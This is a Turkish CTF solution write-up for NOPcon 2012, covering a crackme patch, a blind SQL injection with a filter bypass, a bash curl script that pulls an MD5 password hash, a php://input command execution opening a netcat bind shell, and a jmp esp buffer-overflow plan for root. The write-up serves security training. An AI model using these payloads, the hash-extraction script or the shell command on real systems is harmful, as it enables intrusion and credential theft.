12
NOPcon Capture The Flag Çözümleri www.nopcon.org www.signalsec.com 1. Adım Çözümü İlk adım gerçek hayatta karşılaşılmayacak , dikkat ölçme amacıyla hazırlanmış bir adımdı. Katılımcılardan verdiğimiz iki resim dosyası arasında farkı bulmaları isteniyordu. Geek.jpg resim dosyasının içine bir IP Adresi gizlenmişti; # strings geek.jpg > a.txt ; strings geeks.jpg > b.txt ; diff a.txt b.txt 378,380d377 < 213.p < 128. < 89.110Q IP adresine browser ile girildiğinde aşağıdaki mesajla karşılaşılmaktaydı;

NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

  • Upload
    others

  • View
    6

  • Download
    0

Embed Size (px)

Citation preview

Page 1: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

NOPcon Capture The Flag Çözümleri www.nopcon.org

www.signalsec.com

1. Adım Çözümü

İlk adım gerçek hayatta karşılaşılmayacak , dikkat ölçme amacıyla hazırlanmış bir adımdı. Katılımcılardan verdiğimiz iki resim dosyası arasında farkı bulmaları isteniyordu. Geek.jpg resim dosyasının içine bir IP Adresi gizlenmişti; # strings geek.jpg > a.txt ; strings geeks.jpg > b.txt ; diff a.txt b.txt 378,380d377 < 213.p < 128. < 89.110Q IP adresine browser ile girildiğinde aşağıdaki mesajla karşılaşılmaktaydı;

Page 2: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

2. Adım Çözümü

Bu adımda katılımcılardan 2.adımda ulaştıkları basit bir crackme uygulamasını cracklemeleri istenmekteydi;

Uygulama Click Me butonuna basıldığında yukarıdaki mesajı vermekteydi. Çözüm – NSNS ekibi; İlgili IP adresine girdiğimizde bizi "binary.exe" bekliyordu. Öncelikle güvenli bir windows makinada yazılımı çalıştırarak nasıl bir çıktı verdiğini ve yazılımın nasıl davrandığını inceledik. Çıktıyı gördükten sonra yazılımı daha detaylı incelemeye karar verdik. Bu aşamada yazılımı debug ya da disassamble etmeden önce -compress- 'lenmiş olabileceğini düşünerek “hexdump” çıktısında -compress/pack- izleri aradık; ... 000002f0 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 |........UPX0....| 00000300 00 20 22 00 00 10 00 00 00 00 00 00 00 04 00 00 |. ".............| 00000310 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 |................| 00000320 55 50 58 31 00 00 00 00 00 90 0d 00 00 30 22 00 |UPX1.........0".| 00000330 00 84 0d 00 00 04 00 00 00 00 00 00 00 00 00 00 |................| 00000340 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 |[email protected]...| ... 000003d0 00 00 00 00 00 00 00 00 00 00 00 33 2e 30 38 00 |...........3.08.| 000003e0 55 50 58 21 0d 09 08 07 65 37 81 13 58 f1 1e e5 |UPX!....e7..X...| 000003f0 5a 93 2f 00 6d 80 0d 00 00 60 2d 00 26 b5 00 42 |Z./.m....`-.&..B| 00000400 b2 f2 b3 fd 00 1e 68 0b 61 00 0a 1c 0f 20 24 69 |......h.a.... $i| 00000410 54 6c e5 e7 76 b7 ec b2 2f c0 12 62 0a 1c e4 fa |Tl..v.../..b....| ... Yukarıdaki satırlara rastladığımızda bu yazılımın UPX ile compress'lendiğini anladık. Daha sonra Aşağıdaki komutu çalıştırarak binary -uncompress- ettik; $ upx -d binary.exe “Binary.exe”’yi OllyDb yazılımı kullanarak çalıştırdık ve binary.exe’nin -output- ‘unda gördüğümüz, “Crack me Please :(” ASCII karakterlerini aradık Aradığımız bu karakterlere ulaşıp bunun referansına ulaştığımızda. cmp / jnz instruction ikilisine rastladık. Bu noktada kodu çalıştırıp basitçe CPU Zero Flag’ini toggle edebilirsiniz veya JNZ’yi JZ ile yer değiştirebilirsiniz. 00402D2F |. 75 1D JNZ SHORT binary.00402D4E 00402D2F |. 75 1D JZ SHORT binary.00402D4E

Page 3: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

Yukarıdaki şekilde -crack- işlemini gerçekleştirerek modifiye edilmiş binary.exeyi çalıştırmaya devam ettik ve MessageBox içinde 3. adım ile ilgili link adresine ulaştık; http://213.128.89.110/nopcon2012rocks/

3. Adım Çözümü

NOPcon CTF hacking yarışmasının 3. aşaması 3 adımdan oluşuyordu:

Sql enjeksiyon

MD5 hash Cracking

RFI ile Bindshell İlk olarak portaldaki sql enjeksiyon açığını tespit etmeniz ve daha sonra bu açığı kullanarak elde ettiğiniz md5 hash'i kırarak sisteme giriş yapmanız gerekiyordu. Portala giriş yaptıktan sonra file include açığını tespit edilip sunucuya netcat bağlantısı gerçekleştirilerek ve bu aşama başarı ile tamamlanacaktı. İncelemeye sql enjeksiyon ile başlayalım:

Genelde login alanında brute-force ve FI denendi fakat zafiyetin “index.php?page=sifremi unuttum” sayfası içinde aranması gerekiyordu. Bu sayfada iki tane input alanı mevcuttu.

kullanıcı adına göre

email adına göre “email adına göre” alanı boş bir “POST” methodu kullanıyordu. Odaklanmamız gereken nokta “kullanıcı adına göre” kısmıydı.

Page 4: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

“Kullanıcı adına göre ara” kısmını Firebug ile

incelemeye başlıyoruz. Bu inputun “id” değerini POST ettiğini görüyoruz. Bir şeyler göndermeyi deneyelim:

“admin” yazdığımız takdirde bize yeşil bir uyarı ekranı getiriyor. Başka bir şey yazdığımızda ise herhangi bir uyarı ekranı almıyoruz. Demekki veritabanında admin adlı bir kullanıcı mevcut. Diğer akla gelen şey ise admin kullanıcısına ait bilgilerin maile gönderilip, gönderilmediğiydi fakat veritabanı işlemi dışında mail gönderme gibi bir aksiyon yoktu. Şimdi bu alana sql enjeksiyon saldırısı gerçekleştireceğiz . Sql enjeksiyon için bir saldırı vektörü tanımlayalım: Method : POST Değişken : id Veri : admin' and '1'='1 Saldırı vektörümüzü string olarak oluşturduk. Datayı POST ettiğimiz takdirde, cevap TRUE olarak dönüyor ve ekranımızda yine “ sayın admin kullanıcı şifreniz yollandı.” yazıyor. Buradan anlıyoruz ki, scriptte Post blind sql injection açığı mevcut. Açığı onaylamak adına Sifremiunuttum.php kaynak kodunu inceleyelim: Sql sorgusu: "SELECT * FROM kullanici WHERE kadi = '$id' ";

Page 5: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

Saldırı vektörü dahil olduktan sonra: "SELECT * FROM kullanici WHERE kadi = 'admin' and '1'='1'";

Örnekte de gördüğümüz üzere Sql sorgusuna id değişkeni hiç bir filtreden geçmeden dahil oluyor. Sqli'nin varlığından emin olduğumuza göre saldırı vektörümüzü çeşitlendirelim: İlk olarak mysql sürümünü kontrol ediyoruz. False : admin' and substring(version(),1,1)=4 and '1'='1

True : admin' and substring(version(),1,1)=5 and '1'='1

5 değeri true olarak döndüğü için mysql sürümünün 5 olduğunu anladık. Saldırı vektöründe Subselect sorgular kullanacağımız için subselect'in çalışıp çalışmadığından emin olalım:

admin' and (select 1)=1 and '1'='1

Çalışmadı! Çalışmamasının sebebinini sifremiunuttum.php kaynak kodlarıyla açıklamaya çalışacağım.

if(preg_match('/(select|SELECT)/', $id)):

exit(); // engelle

endif;

Kod parçasını anlamaya çalışalım, preg_match fonksiyonu ile eğer gelen veri select veya SELECT olursa exit(); yaparak kodun çalışması engelleniyor. Burada katılımcılar için bir nevi Web Application Firewall simülasyonu oluşturmaya çalıştık. Bu korumayı aşmaya çalışalım ve saldırı vektörünü değiştirelim.

admin' and (SeLeCt 1)=1 and '1'='1

Bu saldırı vektörünü kullandığımızda TRUE değeri dönecek. Md5 hash almak için sırasıyla tablo ve kolonları bulmaya çalışalım:

admin' and (SeLeCt 1 from kullanici limit 0,1)=1 and '1'='1

Burada kullanici tablosunu tahmin etmemiz gerekiyor bu yüzden mysql5'in bize sunduğu information_schema özelliğini kullanalım Veritabanı ismini alıyoruz; admin' and 1=0 UniON ALL SeLecT '1',DATABASE(),'3

Page 6: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

çıktı : ctfnopcon_db_ertevbcvb_83947589375 Veritabanı ismini kullanarak tablo ismini bulalım:

admin' and 1=0 UniON ALL SeLecT '1',group_concat(table_name),'3' FROM

INFORMATION_SCHEMA.TABLES WHERE table_schema =

'ctfnopcon_db_ertevbcvb_83947589375

Çıktı : kullanici Şimdi tablo ismini kullanarak kolon ismini alıyoruz.

admin' and (SeLeCt substring(concat(1,sifre),1,1) from kullanici limit 0,1)=1 and '1'='1

“sifre” kolonunu tahmin ederek bulduk. İşleri kolaylaştırmak için information_schema kullanalım:

admin' and 1=0 UniON ALL SeLecT '1', group_concat(column_name), '3' from information_schema.columns group by table_name having table_name='kullanici

çıktı : id,kadi,sifre

3 kolonumuz var. Şifre kolonuna odaklanalım ve verileri almaya başlayalım: ASCII tablo eşleşmesini kullanarak deneme-yanılma yöntemiyle yapabiliriz.

admin' and ASCII(SUBSTRING((SeLeCt sifre FROM kullanici WHERE id=1),1,1)) = 50 and '1'='1

ASCII tablo: 2

admin' and ASCII(SUBSTRING((SeLeCt sifre FROM kullanici WHERE id=1),32,1)) = 98 and '1'='1

ASCII tablo: b

1. ve 32. karakteri alıyoruz; 2 rakamı ve b harfiymiş fakat bu yöntem oldukça uzun süreceği için kullanabileceğimiz başka bir saldırı vektörü var.

admin' and sifre like '2%

sifre kolonunda 2 ile başlayan karakterleri buluyor. Tabii ki bununla da tek tek harf ve rakam deneyeceğimiz için basit bir script kodlamamız gerekiyor.

#!/bin/bash

# CTF katılımcılarından Orhan Albay’ın geliştirdiği script.

sifre=""

for n in {0..31}

do

for c in {0..9}

Page 7: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

do

res=$(curl --data "id=admin' and sifre like '$sifre$c%" -s

"http://213.128.89.110/nopcon2012rocks/index.php?page=sifremiunuttum")

if echo $res | grep -q "ifreniz yolland"; then sifre="${sifre}${c}"; echo $sifre; break; fi

done

for c in {a..f}

do

res=$(curl --data "id=admin' and sifre like '$sifre$c%" -s

"http://213.128.89.110/nopcon2012rocks/index.php?page=sifremiunuttum")

if echo $res | grep -q "ifreniz yolland"; then sifre="${sifre}${c}"; echo $sifre; break; fi

done

done

kullanım: chmod +x ornek.sh;./ornek.sh Bu script ile bir kaç saniye içinde hash'i elde edebiliyoruz. Md5 hash : 2e5d49f392b0cd0f27bd56bd7e9eacbb Daha sonra bu hash'i kırmamız gerekiyor. Hash’i kırdıktan sonra elde edeceğimiz şifre şu şekilde olmalıydı; Şifre : 1679824568 Şifreyi elde ettiğimize göre portala giriş yapıp son adımı gerçekleştirmemiz gerekiyor. Giriş yaptığımızda ilk dikkatimizi çeken alan index.php?page= oluyor. Çoğu yarışmacı bu alana FI denedi fakat başarılı olamadı. Neden başarılı olamadığını kodlara bakarak anlamaya çalışalım. index.php kaynak kodu: $whitelist =

array('giris','sifremiunuttum','iletisim','yonetim','cikis','cikisyap');

if (in_array($_GET['page'], $whitelist)) {

include($_GET['page'].'.php');

} else {

include('anasayfa.php');

Page 8: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

}

Kod parçasını incelediğimizde “Whitelist” yöntemi kullanıldığını görüyoruz. Yani array list içindeki herhangi bir parçayı kullanmadığınız takdirde else bloku devreye girecek ve FI açığı bir işe yaramayacaktır. Bu yüzden bakış açımızı değiştirelim. Page değişkenine gelen değerlerin “.php” olarak çalıştığını görüyoruz. Demekki sifremiunuttum.php, yonetim.php gibi dosyalarımız var. Bu yüzden burada yapmanız gereken şey cikisyap.php içindeki RFI açığına odaklanmaktı.

Cikis.php kaynak kodlarını inceleyelim:

if(!preg_match('/(php:\/\/input)/', $_GET['page'])):

exit(); // engelle

endif;

Yine bir regex kontrolü gerçekleştirdik. Eğer page değişkeni php://input değilse kodun çalışması durduruluyor. Kısacası php shell vs. elde etmeniz mümkün olmuyor. Devam edelim, Firefox eklentisi olan Hackbar'ı açıyoruz ve load url yapıyoruz. Php://input “post” methoduyla çalıştığı için “enable post data” diyoruz. POST DATA alanına system fonksiyonumuzu ve çalıştıracağımız komutu yazıyoruz.

Sunucu da netcat kurulu olduğu için ilk olarak “nc” deneyeceğiz. “nc -l -p 4477 -e /bin/bash” yazarak 4477. portu monitör etmeye başlıyoruz ve yüklemeye başlayınca “Netcat ip port” komutuyla bağlanmaya çalışıyoruz ve www-data kullanıcısıyla içerde olduğumuzu görüyoruz;

Page 9: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

Tebrikler, 3. aşamayı da tamamlamış olduk :)

4. Adım Çözümü

Son adım katılımcılardan /tmp dizini altında bulunan suidbit değeri atanmış “exploitme” uygulamasını istismar edip , root hakları elde etmeleri istenmekteydi. “exploitme” uygulaması NX disable olarak derlenmiş ve sistemde ASLR dışında hiçbir protection bulunmamaktaydı;

Uygulama iki parametre almaktaydı. İlk argüman güvenli fonksiyon strncpy ile kopyalanırken, ikinci argüman strcpy ile kopyalanmaktaydı;

Page 10: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

Aşağıdaki resimde görüldüğü gibi , ikinci argümana uzun bir input girildiğinde uygulama crash olmaktaydı;

Uygulamayı iki kere çalıştırarak $esp registerının değerine baktığımızda, ASLR protection’ını görebiliriz;

Page 11: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin

Aslında binary içine katılımcıların işini kolaylaştırmak için inline assembly olarak bir adet “jmp esp” instruction’ı eklenmişti Dolayısıyla binary içinde jmp esp opcode’larını aratan yarışmacılar bu adımı kolaylıkla geçebileceklerdi. Diğer yöntem ise ASLR’ yi brute force yaparak bypass etmekti.

Binary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin binary içindeki offsetini de EIP işaretçisinin üzerine yazarak , uygulamayı exploit etmekti.

Page 12: NOPcon Capture The Flag ÇözümleriBinary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh shellcode’umuzu stack’e yazıp , jmp esp’nin